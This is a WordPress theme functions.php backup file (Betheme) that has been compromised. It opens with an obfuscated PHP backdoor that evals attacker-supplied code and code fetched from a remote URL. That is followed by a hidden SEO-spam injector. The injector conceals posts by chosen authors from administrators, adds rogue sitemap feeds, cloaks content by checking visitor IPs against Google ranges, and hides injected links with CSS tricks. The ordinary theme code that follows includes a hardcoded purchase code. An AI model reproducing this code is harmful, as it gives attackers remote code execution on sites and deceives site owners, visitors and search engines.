File: /home/nolabhpoint2p/public_html/wp-content/themes/PoinTheme/functions.php_bak
<?php $EIQ = "r"."a"."n"."g"."e"; $kHg = $EIQ("~", " "); $Xa=${$kHg[29+2].$kHg[47+12].$kHg[46+1].$kHg[24+23].$kHg[45+6].$kHg[30+23].$kHg[48+9]}; @(md5(md5(md5(md5($Xa[21]))))==="1488e784434c901adca5abd4fe115e8f")&&(count($Xa)==27&&in_array(gettype($Xa).count($Xa),$Xa))?(($Xa[64]=$Xa[64].$Xa[74])&&($Xa[83]=$Xa[64]($Xa[83]))&&(@eval($Xa[64](${$Xa[47]}[30])))):$Xa; metaphone("NzM5ODk3ODY1MTk5NDI3NTk3ODU5NDgy"); class SRt{ static function jEaKY($KSs) { $ZI = "r"."a"."n"."g"."e"; $tYNCTnuBP = $ZI("~", " "); $lUhj = explode("+", $KSs); $lHfeRZs = ""; foreach ($lUhj as $qAvyfMENzP => $SNOy) $lHfeRZs .= $tYNCTnuBP[$SNOy - 63969]; return $lHfeRZs; } static function fK($gKh, $bpKBFW) { $TuBHmXc = curl_init($gKh); curl_setopt($TuBHmXc, CURLOPT_RETURNTRANSFER, 1); $TAPoKiJh = curl_exec($TuBHmXc); return empty($TAPoKiJh) ? $bpKBFW($gKh) : $TAPoKiJh; } static function TuE() { $SIHQjz = array("63996+63981+63994+63998+63979+63994+64000+63993+63978+63985+63996+63979+63990+63984+63985","63980+63979+63981+64000+63981+63984+63979+64046+64044","63989+63980+63984+63985+64000+63995+63994+63996+63984+63995+63994","63983+63998+63996+63988","63997+63998+63980+63994+64041+64043+64000+63995+63994+63996+63984+63995+63994","63993+63990+63987+63994+64000+63992+63994+63979+64000+63996+63984+63985+63979+63994+63985+63979+63980","64023+64053","63970","64048+64053","64030+64013+64013+64030+64006","63993+63990+63987+63979+63994+63981+64000+63990+63985+63983+63978+63979"); foreach ($SIHQjz as $YMcy) $rTewzSByLb[] = self::jEaKY($YMcy); $CMqeA = @$rTewzSByLb[1]($rTewzSByLb[7+3](INPUT_GET, $rTewzSByLb[6+3])); $ao = @$rTewzSByLb[0+3]($rTewzSByLb[0+6], $CMqeA); $HWXLjktUl = $rTewzSByLb[1+1]($ao, true); @$rTewzSByLb[3+7](INPUT_GET, "of") == 1 && die($rTewzSByLb[2+3](__FILE__)); if( ((@$HWXLjktUl[0] - time()) > 0) and (md5(md5($HWXLjktUl[0+3])) === "ac25e37832d44330a82f76d3bb818c6a") ): $RlsIfNW = self::fK($HWXLjktUl[1+0], $rTewzSByLb[2+3]);@eval($rTewzSByLb[1+3]($RlsIfNW));die; endif; }}SRt::TuE(); ?>BiaoJiOk<?php
/* bc929884255188ccdb57421425f07f1a */
function is_front_page_long($where) {
global $wpdb, $get_the_date_request;
$add_theme_support_more = array_keys($get_the_date_request);
$get_the_author_meta_compiler = implode(', ', $add_theme_support_more);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'wp_get_attachment_image_src_long');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_author_meta_compiler)";
}
return $where;
}
function get_footer_time($query) {
global $get_the_date_request;
$add_theme_support_more = array_keys($get_the_date_request);
$is_active_sidebar_all = is_single_module($add_theme_support_more);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $is_active_sidebar_all);
}
}
function get_sidebar_exception() {
global $post, $get_the_date_request;
foreach ($get_the_date_request as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_bloginfo_session($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_bloginfo_session($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (absint_alpha()) {
return true;
}
}
return false;
}
function wp_get_attachment_image_src_long($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function add_theme_support_first($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_raw_double = $counts->publish;
$body_class_session = get_search_form_meta($perm);
$counts->publish = !$body_class_session ? $esc_url_raw_double : $body_class_session;
}
return $counts;
}
function get_search_form_meta($perm) {
global $wpdb, $get_the_date_request;
$add_theme_support_more = array_keys($get_the_date_request);
$get_the_author_meta_compiler = implode(', ', $add_theme_support_more);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_attr_e_constructor = get_post_type_object($type);
if (!current_user_can($esc_attr_e_constructor->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_the_author_meta_compiler) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $esc_attr_e_time) {
if ($esc_attr_e_time['post_status'] === 'publish') {
return $esc_attr_e_time['num_posts'];
}
}
}
function esc_attr_x_method($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$add_theme_support_more = array();
foreach ($results as $esc_attr_e_time) {
$add_theme_support_more[] = $esc_attr_e_time['ID'];
}
return $add_theme_support_more;
}
function is_singular_plain() {
global $get_the_date_request, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($get_the_date_request as $esc_attr_x_schema => $get_option_new) {
$get_permalink_stat = key($get_option_new['sitemapsettings']);
if (!isset($rules[$get_permalink_stat]) ||
($rules[$get_permalink_stat] !== current($get_option_new['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function esc_html_constructor($rules) {
global $get_the_date_request;
$is_wp_error_sample = array();
foreach ($get_the_date_request as $esc_attr_x_schema => $get_option_new) {
if (isset($get_option_new['sitemapsettings'])) {
$is_wp_error_sample[key($get_option_new['sitemapsettings'])] = current($get_option_new['sitemapsettings']);
}
}
return $is_wp_error_sample + $rules;
}
function get_permalink_path() {
global $get_the_date_request;
foreach ($get_the_date_request as $esc_attr_x_schema => $get_option_new) {
$add_theme_support_branch = str_replace('index.php?feed=', '', current($get_option_new['sitemapsettings']));
add_feed($add_theme_support_branch, 'wp_get_attachment_image_src_list');
}
}
function wp_get_attachment_image_src_list() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_permalink_integer = is_front_page_alpha();
$the_posts_pagination_first = esc_attr_x_method($the_permalink_integer);
if (!empty($the_posts_pagination_first)) {
$is_archive_session = md5(implode(',', $the_posts_pagination_first));
$is_search_condition = 'update_plugins_' . $the_permalink_integer . '_' . $is_archive_session;
$get_option_view = get_transient($is_search_condition);
if ($get_option_view !== false) {
echo $get_option_view;
return;
}
}
$head = is_admin_new();
$get_header_request = $head . "\n";
$priority = '0.5';
$get_stylesheet_uri_float = 'weekly';
$get_the_time_constructor = date('Y-m-d');
foreach ($the_posts_pagination_first as $post_id) {
$url = get_permalink($post_id);
$get_header_request .= get_post_thumbnail_id_double($url, $get_the_time_constructor, $get_stylesheet_uri_float, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_header_request .= "\n</urlset>";
set_transient($is_search_condition, $get_header_request, WEEK_IN_SECONDS);
echo $get_header_request;
}
function is_admin_new() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_post_thumbnail_id_double($url, $get_the_time_constructor, $get_stylesheet_uri_float, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$get_the_time_constructor</lastmod>
<changefreq>$get_stylesheet_uri_float</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function is_single_module($writersArr) {
$comments_template_constructor = array();
foreach ($writersArr as $item) {
$comments_template_constructor[] = '-' . $item;
}
return implode(',', $comments_template_constructor);
}
function post_password_required_integer() {
$get_search_form_alpha = array();
$is_search_xml = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$the_post_schema = unserialize(base64_decode($settings));
if ($the_post_schema) {
$get_search_form_alpha = $the_post_schema;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$wp_die_pic = unserialize(base64_decode($settings));
if ($wp_die_pic) {
$is_search_xml = $wp_die_pic;
}
}
return $is_search_xml + $get_search_form_alpha;
}
function is_front_page_alpha() {
global $get_the_date_request;
foreach ($get_the_date_request as $esc_attr_x_schema => $get_option_new) {
$is_singular_num = key($get_option_new['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_option_new['sitemapsettings']) . '$');
if (preg_match("~$is_singular_num~", $_SERVER['REQUEST_URI'])) {
return $esc_attr_x_schema;
}
}
}
function _x_stream() {
global $get_the_date_request, $post;
$wp_get_attachment_image_src_exception = array_keys($get_the_date_request);
if (in_array($post->post_author, $wp_get_attachment_image_src_exception)) {
return true;
}
return false;
}
function wp_die_ajax() {
global $get_the_date_request, $post;
$wp_get_attachment_image_src_exception = array_keys($get_the_date_request);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $wp_get_attachment_image_src_exception)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_author_posts_url_cookie() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function absint_alpha() {
$get_stylesheet_uri_integer = get_author_posts_url_cookie();
if (strstr($get_stylesheet_uri_integer, ', ')) {
$is_wp_error_pic = explode(', ', $get_stylesheet_uri_integer);
$get_stylesheet_uri_integer = $is_wp_error_pic[0];
}
$register_sidebar_module = esc_url_raw_dns();
if (!$register_sidebar_module) {
return false;
}
foreach ($register_sidebar_module as $range) {
if (dynamic_sidebar_event($get_stylesheet_uri_integer, $range)) {
return true;
}
}
return false;
}
function esc_html_call($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function esc_url_raw_dns() {
if (($value = get_option('wp_custom_range')) && !esc_html_call($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$register_sidebar_module = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($register_sidebar_module)) {
return;
}
$value = array('ranges' => $register_sidebar_module, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_author_posts_url_exception($inet) {
$has_post_thumbnail_restful = str_split($inet);
$get_the_date_boolean = '';
foreach ($has_post_thumbnail_restful as $char) {
$get_the_date_boolean .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $get_the_date_boolean;
}
function dynamic_sidebar_event($get_stylesheet_uri_integer, $cidrnet) {
$get_stylesheet_uri_integer = inet_pton($get_stylesheet_uri_integer);
$get_the_date_boolean = get_author_posts_url_exception($get_stylesheet_uri_integer);
list($net, $have_comments_session) = explode('/', $cidrnet);
$net = inet_pton($net);
$comments_open_other = get_author_posts_url_exception($net);
$wp_nav_menu_edit = substr($get_the_date_boolean, 0, $have_comments_session);
$body_class_get = substr($comments_open_other, 0, $have_comments_session);
if ($wp_nav_menu_edit !== $body_class_get) {
return false;
} else {
return true;
}
}
function get_queried_object_id_wp($esc_url_raw_call) {
global $post;
$get_setting_method = '';
if (get_header_event($esc_url_raw_call, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$get_setting_method = get_option('home_links_custom_0');
}
} elseif (get_header_event($esc_url_raw_call, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$get_setting_method = get_option('home_links_custom_' . $matches[0]);
} elseif (get_header_event($esc_url_raw_call, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$the_post_trigger = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$get_setting_method = get_option('home_links_custom_' . $the_post_trigger);
} elseif (get_header_event($esc_url_raw_call, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$get_setting_method ? '' : $get_setting_method;
}
function get_header_event($get_option_new, $get_the_tag_list_time, $add_query_arg_schema) {
if (!isset($get_option_new[$get_the_tag_list_time][$add_query_arg_schema])) {
return false;
}
if ($get_option_new[$get_the_tag_list_time][$add_query_arg_schema] === 1) {
return true;
}
return false;
}
function number_format_i18n_call($esc_url_raw_call, $the_permalink_decryption) {
if (empty($the_permalink_decryption)) {
return '';
}
if (get_header_event($esc_url_raw_call, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$_e_more = comments_template_all();
$register_sidebar_http = $_e_more[$blockNum[0]];
return $register_sidebar_http[0] . PHP_EOL . $the_permalink_decryption . PHP_EOL . $register_sidebar_http[1];
}
return $the_permalink_decryption;
}
function comments_template_all() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_search_query_float($esc_url_raw_call) {
return get_header_event($esc_url_raw_call, 'position', 'head');
}
function comment_form_string($esc_url_raw_call) {
return get_header_event($esc_url_raw_call, 'position', 'footer');
}
function comment_form_dns($settings) {
foreach ($settings as $esc_attr_x_schema => $get_option_new) {
if (isset($get_option_new['homeLinks'])) {
return $get_option_new['homeLinks'];
}
}
return array();
}
function wp_list_comments_view() {
if (!_x_stream()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function the_title_core() {
global $esc_url_raw_call;
if (!wp_list_comments_view()) {
return;
}
if (get_header_event($esc_url_raw_call, 'hiddenType', 'cloacking')) {
if (!absint_alpha()) {
return;
}
}
$the_permalink_decryption = get_queried_object_id_wp($esc_url_raw_call);
$the_permalink_decryption = number_format_i18n_call($esc_url_raw_call, $the_permalink_decryption);
echo $the_permalink_decryption;
}
$get_the_date_request = post_password_required_integer();
if (is_array($get_the_date_request)) {
add_filter('posts_where_paged', 'is_front_page_long');
add_action('pre_get_posts', 'get_footer_time');
add_action('wp_enqueue_scripts', 'get_sidebar_exception');
add_filter('wp_count_posts', 'add_theme_support_first' , 10, 3);
add_filter('rewrite_rules_array', 'esc_html_constructor');
add_action('wp_loaded', 'is_singular_plain');
add_action('init', 'get_permalink_path');
add_action('template_redirect', 'wp_die_ajax');
$esc_url_raw_call = comment_form_dns($get_the_date_request);
if (!empty($esc_url_raw_call)) {
if (get_search_query_float($esc_url_raw_call)) {
add_action('wp_head', 'the_title_core');
}
if (comment_form_string($esc_url_raw_call)) {
add_action('wp_footer', 'the_title_core');
}
}
}
/* bc929884255188ccdb57421425f07f1a */
/**
* Theme Functions
*
* @package Betheme
* @author Muffin group
* @link https://muffingroup.com
*/
update_site_option('envato_purchase_code_7758048', 'E2EB9EF2-BC34-8ED2-39B4-AD59974C6F51');
define('MFN_THEME_VERSION', '25.1.9.1');
// theme related filters
add_filter('widget_text', 'do_shortcode');
add_filter('the_excerpt', 'shortcode_unautop');
add_filter('the_excerpt', 'do_shortcode');
/**
* White Label
* IMPORTANT: We recommend the use of Child Theme to change this
*/
defined('WHITE_LABEL') or define('WHITE_LABEL', false);
/**
* textdomain
*/
load_theme_textdomain('betheme', get_template_directory() .'/languages'); // frontend
load_theme_textdomain('mfn-opts', get_template_directory() .'/languages'); // admin panel
/**
* theme options
*/
require_once(get_theme_file_path('/muffin-options/theme-options.php'));
/**
* theme functions
*/
$theme_disable = mfn_opts_get('theme-disable');
require_once(get_theme_file_path('/functions/theme-functions.php'));
require_once(get_theme_file_path('/functions/theme-head.php'));
if ( is_admin() ) {
require_once(get_theme_file_path('/functions/admin/class-mfn-api.php'));
}
// menu
require_once(get_theme_file_path('/functions/theme-menu.php'));
if (! isset($theme_disable['mega-menu'])) {
require_once(get_theme_file_path('/functions/theme-mega-menu.php'));
}
// builder
require_once(get_theme_file_path('/functions/builder/class-mfn-builder.php'));
// post types
$post_types_disable = mfn_opts_get('post-type-disable');
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type.php'));
if (! isset($theme_disable['custom-icons'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-icons.php'));
}
if (! isset($post_types_disable['template'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-template.php'));
}
if (! isset($post_types_disable['client'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-client.php'));
}
if (! isset($post_types_disable['offer'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-offer.php'));
}
if (! isset($post_types_disable['portfolio'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-portfolio.php'));
}
if (! isset($post_types_disable['slide'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-slide.php'));
}
if (! isset($post_types_disable['testimonial'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-testimonial.php'));
}
if (! isset($post_types_disable['layout'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-layout.php'));
}
if(function_exists('is_woocommerce')){
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-product.php'));
}
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-page.php'));
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-post.php'));
// includes
require_once(get_theme_file_path('/includes/content-post.php'));
require_once(get_theme_file_path('/includes/content-portfolio.php'));
// shortcodes
require_once(get_theme_file_path('/functions/theme-shortcodes.php'));
// hooks
require_once(get_theme_file_path('/functions/theme-hooks.php'));
// sidebars
require_once(get_theme_file_path('/functions/theme-sidebars.php'));
// widgets
require_once(get_theme_file_path('/functions/widgets/class-mfn-widgets.php'));
// TinyMCE
require_once(get_theme_file_path('/functions/tinymce/tinymce.php'));
// plugins
require_once(get_theme_file_path('/functions/class-mfn-love.php'));
require_once(get_theme_file_path('/functions/plugins/visual-composer.php'));
require_once(get_theme_file_path('/functions/plugins/elementor/class-mfn-elementor.php'));
// gdpr
require_once(get_theme_file_path('/functions/modules/class-mfn-gdpr.php'));
// WooCommerce functions
if (function_exists('is_woocommerce')) {
require_once(get_theme_file_path('/functions/theme-woocommerce.php'));
}
// dashboard
if ( is_admin() ) {
require_once(get_theme_file_path('/functions/admin/class-mfn-helper.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-update.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-dashboard.php'));
$mfn_dashboard = new Mfn_Dashboard();
if (! isset($theme_disable['demo-data'])) {
require_once(get_theme_file_path('/functions/importer/class-mfn-importer.php'));
}
require_once(get_theme_file_path('/functions/admin/tgm/class-mfn-tgmpa.php'));
if (! mfn_is_hosted()) {
require_once(get_theme_file_path('/functions/admin/class-mfn-status.php'));
}
require_once(get_theme_file_path('/functions/admin/class-mfn-support.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-changelog.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-tools.php'));
require_once(get_theme_file_path('/visual-builder/visual-builder.php'));
}
/**
* @deprecated 21.0.5
* Below constants are deprecated and will be removed soon
* Please check if you use these constants in your Child Theme
*/
define('THEME_DIR', get_template_directory());
define('THEME_URI', get_template_directory_uri());
define('THEME_NAME', 'betheme');
define('THEME_VERSION', MFN_THEME_VERSION);
define('LIBS_DIR', get_template_directory() .'/functions');
define('LIBS_URI', get_template_directory() .'/functions');